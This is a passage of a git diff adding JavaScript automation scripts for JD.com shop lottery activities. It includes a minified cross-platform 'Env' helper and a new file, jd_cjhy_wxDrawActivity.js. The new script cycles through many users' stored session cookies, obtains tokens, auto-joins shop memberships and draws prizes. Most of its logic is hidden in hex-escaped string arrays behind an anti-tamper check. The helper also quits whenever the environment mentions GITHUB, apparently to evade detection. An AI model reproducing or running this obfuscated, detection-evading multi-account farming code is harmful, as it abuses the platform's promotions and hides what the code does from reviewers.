_0x99e4xa,_0x99e4x2c=this,_0x99e4x44=_0x99e4x43,_0x99e4x45={"\x4D\x2B":_0x99e4x2c[__Oxe8e4a[0xfc]]()+ 1,"\x64\x2B":_0x99e4x2c[__Oxe8e4a[0xfd]](),"\x44\x2B":_0x99e4x2c[__Oxe8e4a[0xfd]](),"\x68\x2B":_0x99e4x2c[__Oxe8e4a[0xfe]](),"\x48\x2B":_0x99e4x2c[__Oxe8e4a[0xfe]](),"\x6D\x2B":_0x99e4x2c[__Oxe8e4a[0xff]](),"\x73\x2B":_0x99e4x2c[__Oxe8e4a[0x100]](),"\x77\x2B":_0x99e4x2c[__Oxe8e4a[0x101]](),"\x71\x2B":Math[__Oxe8e4a[0xc5]]((_0x99e4x2c[__Oxe8e4a[0xfc]]()+ 3)/ 3),"\x53\x2B":_0x99e4x2c[__Oxe8e4a[0x102]]()};/(y+)/i[__Oxe8e4a[0x103]](_0x99e4x44)&& (_0x99e4x44= _0x99e4x44[__Oxe8e4a[0x107]](RegExp.$1,__Oxe8e4a[0x0][__Oxe8e4a[0x106]](_0x99e4x2c[__Oxe8e4a[0x105]]())[__Oxe8e4a[0xc1]](4- RegExp[__Oxe8e4a[0x104]][__Oxe8e4a[0x26]])));for(var _0x99e4x46 in _0x99e4x45){if( new RegExp(__Oxe8e4a[0x109][__Oxe8e4a[0x106]](_0x99e4x46,__Oxe8e4a[0x108]))[__Oxe8e4a[0x103]](_0x99e4x44)){var _0x99e4x2a,_0x99e4x2b=__Oxe8e4a[0x10a]=== _0x99e4x46?__Oxe8e4a[0x10b]:__Oxe8e4a[0x10c];_0x99e4x44= _0x99e4x44[__Oxe8e4a[0x107]](RegExp.$1,1== RegExp[__Oxe8e4a[0x104]][__Oxe8e4a[0x26]]?_0x99e4x45[_0x99e4x46]:(__Oxe8e4a[0x0][__Oxe8e4a[0x106]](_0x99e4x2b)+ _0x99e4x45[_0x99e4x46])[__Oxe8e4a[0xc1]](__Oxe8e4a[0x0][__Oxe8e4a[0x106]](_0x99e4x45[_0x99e4x46])[__Oxe8e4a[0x26]]))}};return _0x99e4x44};function random(_0x99e4x32,_0x99e4x33){return Math[__Oxe8e4a[0xc5]](Math[__Oxe8e4a[0x55]]()* (_0x99e4x33- _0x99e4x32))+ _0x99e4x32}function getUrlQueryValueByKey(_0x99e4x48,_0x99e4x1f){if(!_0x99e4x1f){_0x99e4x1f= location[__Oxe8e4a[0x10d]]};var _0x99e4x49= new RegExp(__Oxe8e4a[0x10e]+ _0x99e4x48+ __Oxe8e4a[0x10f]);var _0x99e4x4a=_0x99e4x1f[__Oxe8e4a[0x28]](_0x99e4x49);if(_0x99e4x4a!= null){return decodeURIComponent(_0x99e4x4a[0x2])};return __Oxe8e4a[0x0]}(function(_0x99e4x4b,_0x99e4xf,_0x99e4x4c,_0x99e4x4d,_0x99e4x4e,_0x99e4x46){_0x99e4x46= __Oxe8e4a[0x8c];_0x99e4x4d= function(_0x99e4x4f){if( typeof alert!== _0x99e4x46){alert(_0x99e4x4f)};if( typeof console!== _0x99e4x46){console[__Oxe8e4a[0xb]](_0x99e4x4f)}};_0x99e4x4c= function(_0x99e4x2b,_0x99e4x4b){return _0x99e4x2b+ _0x99e4x4b};_0x99e4x4e= _0x99e4x4c(__Oxe8e4a[0x110],_0x99e4x4c(_0x99e4x4c(__Oxe8e4a[0x111],__Oxe8e4a[0x112]),__Oxe8e4a[0x113]));try{_0x99e4x4b= __encode;if(!( typeof _0x99e4x4b!== _0x99e4x46&& _0x99e4x4b=== _0x99e4x4c(__Oxe8e4a[0x114],__Oxe8e4a[0x115]))){_0x99e4x4d(_0x99e4x4e)}}catch(e){_0x99e4x4d(_0x99e4x4e)}})({}) + + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_cjhy_wxDrawActivity.js b/jd_cjhy_wxDrawActivity.js new file mode 100644 index 0000000..36cbf37 --- /dev/null +++ b/jd_cjhy_wxDrawActivity.js @@ -0,0 +1,21 @@ +/* +cjhy幸运抽大奖通用活动 + +https://cjhy-isv.isvjcloud.com/wxDrawActivity/activity/273856?activityId=e4b1c6e05c2a40919ea56839e20c4b0a + +export jd_cjhy_wxDrawActivity_Id = "xxx" 活动Id +export jd_cjhy_wxDrawActivity_num="10" 执行前多少个号 不设置则默认执行前10个 +export jd_wxDrawActivity_openCard="1" 设置为1则自动入会 不设置或者设置为0则不会自动入会 + +cron "1 1 1 1 1" jd_cjhy_wxDrawActivity.js +*/ +const $ = new Env('cjhy幸运抽大奖通用活动') +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; + + +var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxe8d96=["","\x6A\x64\x5F\x63\x6A\x68\x79\x5F\x77\x78\x44\x72\x61\x77\x41\x63\x74\x69\x76\x69\x74\x79\x5F\x49\x64","\x65\x6E\x76","\x6A\x64\x5F\x63\x6A\x68\x79\x5F\x77\x78\x44\x72\x61\x77\x41\x63\x74\x69\x76\x69\x74\x79\x5F\x6E\x75\x6D","\x6A\x64\x5F\x77\x78\x44\x72\x61\x77\x41\x63\x74\x69\x76\x69\x74\x79\x5F\x6F\x70\x65\x6E\x43\x61\x72\x64","\x69\x73\x4E\x6F\x64\x65","\x70\x75\x73\x68","\x66\x6F\x72\x45\x61\x63\x68","\x6B\x65\x79\x73","\x4A\x44\x5F\x44\x45\x42\x55\x47","\x66\x61\x6C\x73\x65","\x6C\x6F\x67","\x66\x69\x6C\x74\x65\x72","\x43\x6F\x6F\x6B\x69\x65\x4A\x44","\x67\x65\x74\x64\x61\x74\x61","\x43\x6F\x6F\x6B\x69\x65\x4A\x44\x32","\x63\x6F\x6F\x6B\x69\x65","\x6D\x61\x70","\x43\x6F\x6F\x6B\x69\x65\x73\x4A\x44","\x5B\x5D","\x68\x6F\x74\x46\x6C\x61\x67","\x6F\x75\x74\x46\x6C\x61\x67","\x61\x63\x74\x69\x76\x69\x74\x79\x45\x6E\x64","\x70\x72\x69\x7A\x65\x4C\x69\x73\x74","\x64\x72\x61\x77\x4E\x61\x6D\x65","\x64\x6F\x6E\x65","\x66\x69\x6E\x61\x6C\x6C\x79","\x6C\x6F\x67\x45\x72\x72","\x63\x61\x74\x63\x68","\x6E\x61\x6D\x65","\u3010\u63D0\u793A\u3011\u8BF7\u5148\u83B7\u53D6\x63\x6F\x6F\x6B\x69\x65\x0A\u76F4\u63A5\u4F7F\u7528\x4E\x6F\x62\x79\x44\x61\u7684\u4EAC\u4E1C\u7B7E\u5230\u83B7\u53D6","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x62\x65\x61\x6E\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F","\x6D\x73\x67","\x65\x78\x70\x6F\x72\x74\x20\x6A\x64\x5F\x63\x6A\x68\x79\x5F\x77\x78\x44\x72\x61\x77\x41\x63\x74\x69\x76\x69\x74\x79\x5F\x49\x64\x3D\x22\x78\x78\x78\x22\x20\u672A\u8BBE\u7F6E\x20\u9000\u51FA\uFF01\uFF01\uFF01","\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64","\x72\x61\x6E\x64\x6F\x6D\x4E\x75\x6D","\x72\x61\x6E\x64\x6F\x6D","\u6D3B\u52A8\x49\x64\x3A","\x61\x63\x74\x69\x76\x69\x74\x79\x55\x52\x4C","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x6A\x68\x79\x2D\x69\x73\x76\x2E\x69\x73\x76\x6A\x63\x6C\x6F\x75\x64\x2E\x63\x6F\x6D\x2F\x77\x78\x44\x72\x61\x77\x41\x63\x74\x69\x76\x69\x74\x79\x2F\x61\x63\x74\x69\x76\x69\x74\x79\x2F","\x3F\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x3D","\u6D3B\u52A8\u5730\u5740\x3A","\x6C\x65\x6E\x67\x74\x68","\x55\x73\x65\x72\x4E\x61\x6D\x65","\x6D\x61\x74\x63\x68","\x69\x6E\x64\x65\x78","\x62\x65\x61\x6E","\x6E\x69\x63\x6B\x4E\x61\x6D\x65","\x69\x73\x4C\x6F\x67\x69\x6E","\x2A\x2A\x2A\x2A\x2A\x2A\u5F00\u59CB\u3010\u4EAC\u4E1C\u8D26\u53F7","\u3011","\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A","\u3010\u63D0\u793A\u3011\x63\x6F\x6F\x6B\x69\x65\u5DF2\u5931\u6548","\u4EAC\u4E1C\u8D26\u53F7","\x20","\x5C\x6E\u8BF7\u91CD\u65B0\u767B\u5F55\u83B7\u53D6\x5C\x6E\x68\x74\x74\x70\x73\x3A\x2F\x2F\x62\x65\x61\x6E\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x62\x65\x61\x6E\x2F\x73\x69\x67\x6E\x49\x6E\x64\x65\x78\x2E\x61\x63\x74\x69\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x62\x65\x61\x6E\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x62\x65\x61\x6E\x2F\x73\x69\x67\x6E\x49\x6E\x64\x65\x78\x2E\x61\x63\x74\x69\x6F\x6E","\u6267\u884C\u4E86","\u4E2A\u9000\u51FA","\u6B64\x69\x70\u5DF2\u88AB\u9650\u5236\uFF0C\u8BF7\u8FC7\x31\x30\u5206\u949F\u540E\u518D\u6267\u884C\u811A\u672C","\x73\x65\x6E\x64\x4E\x6F\x74\x69\x66\x79","\x0A","\x54\x6F\x6B\x65\x6E","\x50\x69\x6E","\x69\x73\x76\x4F\x62\x66\x75\x73\x63\x61\x74\x6F\x72","\u83B7\u53D6\x5B\x74\x6F\x6B\x65\x6E\x5D\u5931\u8D25\uFF01","\u83B7\u53D6\x63\x6F\x6F\x6B\x69\x65\u5931\u8D25","\x67\x65\x74\x53\x69\x6D\x70\x6C\x65\x41\x63\x74\x49\x6E\x66\x6F\x56\x6F","\x67\x65\x74\x4D\x79\x50\x69\x6E\x67","\x67\x65\x74\x4D\x79\x50\x69\x6E\x67\x20\u83B7\u53D6\u5931\u8D25","\x61\x63\x74\x69\x76\x69\x74\x79\x43\x6F\x6E\x74\x65\x6E\x74","\u62BD\u5956\u89C4\u5219\x3A","\x72\x75\x6C\x65","\u5956\u54C1\u5217\u8868\x3A","\u53EF\u62BD\u5956\u6B21\u6570\x3A","\x63\x61\x6E\x44\x72\x61\x77\x54\x69\x6D\x65\x73","\u62BD\u5956\u6D88\u8017\x3A","\x64\x72\x61\x77\x43\x6F\x6E\x73\x75\x6D\x65","\x73\x68\x6F\x70\x49\x6E\x66\x6F","\x73\x68\x6F\x70\x4E\x61\x6D\x65","\x64\x72\x61\x77\x4F\x6B\x4E\x75\x6D\x62\x65\x72\x73","\x64\x72\x61\x77\x54\x79\x70\x65","\u79EF\u5206\u62BD\u5956","\x67\x65\x74\x50\x6F\x69\x6E\x74\x73","\u5F53\u524D\u5E97\u94FA\u79EF\u5206\x3A","\x70\x6F\x69\x6E\x74\x73","\x67\x65\x74\x55\x73\x65\x72\x49\x6E\x66\x6F","\x67\x65\x74\x47\x69\x76\x65\x43\x6F\x6E\x74\x65\x6E\x74","\x61\x63\x63\x65\x73\x73\x4C\x6F\x67","\x67\x65\x74\x4F\x70\x65\x6E\x43\x61\x72\x64\x49\x6E\x66\x6F","\x6F\x70\x65\x6E\x65\x64\x43\x61\x72\x64","\u53BB\u5165\u4F1A\x3A","\x75\x73\x65\x72\x49\x64","\x6A\x6F\x69\x6E\x56\x65\x6E\x64\x65\x72\x49\x64","\u6D3B\u52A8\u592A\u706B\u7206\uFF0C\u8BF7\u7A0D\u540E\u518D\u8BD5","\x69\x6E\x64\x65\x78\x4F\x66","\x65\x72\x72\x6F\x72\x4A\x6F\x69\x6E\x53\x68\x6F\x70","\u52A0\u5165\u5E97\u94FA\u4F1A\u5458\u5931\u8D25","\u7B2C\x31\u6B21\u91CD\u8BD5","\x77\x61\x69\x74","\u7B2C\x32\u6B21\u91CD\u8BD5","\u7B2C\x33\u6B21\u91CD\u8BD5","\u5982\u9700\u81EA\u52A8\u5165\u4F1A\x2C\x20\u8BF7\u8BBE\u7F6E\u73AF\u5883\u53D8\u91CF\x3A\x20\x65\x78\x70\x6F\x72\x74\x20\x6A\x64\x5F\x77\x78\x44\x72\x61\x77\x41\x63\x74\x69\x76\x69\x74\x79\x5F\x6F\x70\x65\x6E\x43\x61\x72\x64\x3D\x22\x31\x22","\u5DF2\u5165\u4F1A\x3A","\u62BD\u5956\u6B21\u6570\u5DF2\u7ECF\u6D88\u8017","\x6E\x65\x77\x46\x6F\x6C\x6C\x6F\x77\x53\x68\x6F\x70","\u7B2C","\u6B21\u62BD\u5956","\x73\x74\x61\x72\x74","\u62BD\u5956\u6D3B\u52A8","\u4F1A\u5458\u62BD\u5956","\x61\x74\x74\x65\x6E\x64\x4C\x6F\x67","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x6A\x68\x79\x2D\x69\x73\x76\x2E\x69\x73\x76\x6A\x63\x6C\x6F\x75\x64\x2E\x63\x6F\x6D","\x50\x4F\x53\x54","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x63\x6C\x69\x65\x6E\x74\x2E\x61\x63\x74\x69\x6F\x6E\x3F\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D\x69\x73\x76\x4F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x26\x6C\x6D\x74\x3D\x30","\x2F\x63\x75\x73\x74\x6F\x6D\x65\x72\x2F\x67\x65\x74\x53\x69\x6D\x70\x6C\x65\x41\x63\x74\x49\x6E\x66\x6F\x56\x6F","\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x3D","\x2F\x63\x75\x73\x74\x6F\x6D\x65\x72\x2F\x67\x65\x74\x4D\x79\x50\x69\x6E\x67","\x75\x73\x65\x72\x49\x64\x3D","\x26\x74\x6F\x6B\x65\x6E\x3D","\x26\x66\x72\x6F\x6D\x54\x79\x70\x65\x3D\x41\x50\x50","\x2F\x77\x78\x50\x6F\x69\x6E\x74\x44\x72\x61\x77\x41\x63\x74\x69\x76\x69\x74\x79\x2F\x61\x63\x74\x69\x76\x69\x74\x79\x43\x6F\x6E\x74\x65\x6E\x74","\u4E5D\u5BAB\u683C","\x2F\x77\x78\x44\x72\x61\x77\x41\x63\x74\x69\x76\x69\x74\x79\x2F\x61\x63\x74\x69\x76\x69\x74\x79\x43\x6F\x6E\x74\x65\x6E\x74","\x26\x70\x69\x6E\x3D","\x2F\x77\x78\x44\x72\x61\x77\x41\x63\x74\x69\x76\x69\x74\x79\x2F\x73\x68\x6F\x70\x49\x6E\x66\x6F","\x2F\x77\x78\x44\x72\x61\x77\x41\x63\x74\x69\x76\x69\x74\x79\x2F\x64\x72\x61\x77\x4F\x6B\x4E\x75\x6D\x62\x65\x72\x73","\x2F\x70\x6F\x69\x6E\x74\x73\x2F\x67\x65\x74\x50\x6F\x69\x6E\x74\x73","\x76\x65\x6E\x64\x65\x72\x49\x64\x3D","\x76\x65\x6E\x64\x65\x72\x49\x64","\x2F\x77\x78\x41\x63\x74\x69\x6F\x6E\x43\x6F\x6D\x6D\x6F\x6E\x2F\x67\x65\x74\x55\x73\x65\x72\x49\x6E\x66\x6F","\x70\x69\x6E\x3D","\x2F\x77\x78\x44\x72\x61\x77\x41\x63\x74\x69\x76\x69\x74\x79\x2F\x67\x65\x74\x47\x69\x76\x65\x43\x6F\x6E\x74\x65\x6E\x74","\x26\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x3D","\x2F\x63\x6F\x6D\x6D\x6F\x6E\x2F\x61\x63\x63\x65\x73\x73\x4C\x6F\x67","\x26\x73\x69\x64\x3D\x26\x75\x6E\x5F\x61\x72\x65\x61\x3D","\x26\x63\x6F\x64\x65\x3D","\x61\x63\x74\x69\x76\x69\x74\x79\x54\x79\x70\x65","\x26\x70\x61\x67\x65\x55\x72\x6C\x3D","\x26\x73\x75\x62\x54\x79\x70\x65\x3D\x61\x70\x70","\x2F\x6D\x63\x2F\x6E\x65\x77\x2F\x62\x72\x61\x6E\x64\x43\x61\x72\x64\x2F\x63\x6F\x6D\x6D\x6F\x6E\x2F\x73\x68\x6F\x70\x41\x6E\x64\x42\x72\x61\x6E\x64\x2F\x67\x65\x74\x4F\x70\x65\x6E\x43\x61\x72\x64\x49\x6E\x66\x6F","\x26\x62\x75\x79\x65\x72\x50\x69\x6E\x3D","\x26\x61\x63\x74\x69\x76\x69\x74\x79\x54\x79\x70\x65\x3D","\x2F\x77\x78\x41\x63\x74\x69\x6F\x6E\x43\x6F\x6D\x6D\x6F\x6E\x2F\x6E\x65\x77\x46\x6F\x6C\x6C\x6F\x77\x53\x68\x6F\x70","\x26\x76\x65\x6E\x64\x65\x72\x49\x64\x3D","\x2F\x77\x78\x50\x6F\x69\x6E\x74\x44\x72\x61\x77\x41\x63\x74\x69\x76\x69\x74\x79\x2F\x73\x74\x61\x72\x74","\x2F\x77\x78\x44\x72\x61\x77\x41\x63\x74\x69\x76\x69\x74\x79\x2F\x73\x74\x61\x72\x74","\x2F\x63\x6F\x6D\x6D\x6F\x6E\x2F\x61\x74\x74\x65\x6E\x64\x4C\x6F\x67","\x26\x63\x6C\x69\x65\x6E\x74\x54\x79\x70\x65\x3D\x61\x70\x70","\u9519\u8BEF","\x73\x74\x61\x74\x75\x73\x43\x6F\x64\x65","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\u6B64\x69\x70\u5DF2\u88AB\u9650\u5236\uFF0C\u8BF7\u8FC7\x31\x30\u5206\u949F\u540E\u518D\u6267\u884C\u811A\u672C\x0A","\x74\x6F\x53\x74\x72","\x20\x41\x50\x49\u8BF7\u6C42\u5931\u8D25\uFF0C\u8BF7\u68C0\u67E5\u7F51\u8DEF\u91CD\u8BD5","\x70\x6F\x73\x74","\x61\x63\x63\x65\x73\x73\x4C\x6F\x67\x57\x69\x74\x68\x41\x44","\x64\x72\x61\x77\x43\x6F\x6E\x74\x65\x6E\x74","\x70\x61\x72\x73\x65","\x20\u6267\u884C\u4EFB\u52A1\u5F02\u5E38","\x72\x75\x6E\x46\x61\x6C\x61\x67","\x6F\x62\x6A\x65\x63\x74","\x65\x72\x72\x63\x6F\x64\x65","\x74\x6F\x6B\x65\x6E","\x6D\x65\x73\x73\x61\x67\x65","\x69\x73\x76\x4F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x20","\x72\x65\x73\x75\x6C\x74","\x64\x61\x74\x61","\x6A\x64\x41\x63\x74\x69\x76\x69\x74\x79\x49\x64","\x73\x68\x6F\x70\x49\x64","\x73\x65\x63\x72\x65\x74\x50\x69\x6E","\x74\x6F\x75\x78\x69\x61\x6E\x67\x49\x6D\x67","\x79\x75\x6E\x4D\x69\x64\x49\x6D\x61\x67\x65\x55\x72\x6C","\x63\x6F\x6E\x74\x65\x6E\x74","\x69\x73\x4F\x6B","\x61\x63\x63\x65\x73\x73\x4C\x6F\x67\x3A","\x73\x68\x6F\x70\x54\x79\x70\x65","\x6E\x65\x77\x46\x6F\x6C\x6C\x6F\x77\x53\x68\x6F\x70\x3A","\x64\x72\x61\x77\x49\x6E\x66\x6F","\u7A7A\u6C14","\u8C22\u8C22","\u3010","\x20\x2D\x20","\u62BD\u5956\u7ED3\u679C\x3A","\u62BD\u5956\u7ED3\u679C\x3A\u7A7A\u6C14","\x61\x74\x74\x65\x6E\x64\x4C\x6F\x67\x3A","\x2D\x3E\x20","\x65\x72\x72\x6F\x72\x4D\x65\x73\x73\x61\x67\x65","\u706B\u7206","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x6A\x73\x6F\x6E","\x67\x7A\x69\x70\x2C\x20\x64\x65\x66\x6C\x61\x74\x65\x2C\x20\x62\x72","\x7A\x68\x2D\x63\x6E","\x6B\x65\x65\x70\x2D\x61\x6C\x69\x76\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x55\x41","\x58\x4D\x4C\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x52\x65\x66\x65\x72\x65\x72","\x43\x6F\x6F\x6B\x69\x65","\x41\x55\x54\x48\x5F\x43\x5F\x55\x53\x45\x52\x3D","\x74\x65\x78\x74\x2F\x68\x74\x6D\x6C\x2C\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x68\x74\x6D\x6C\x2B\x78\x6D\x6C\x2C\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x6D\x6C\x3B\x71\x3D\x30\x2E\x39\x2C\x69\x6D\x61\x67\x65\x2F\x61\x76\x69\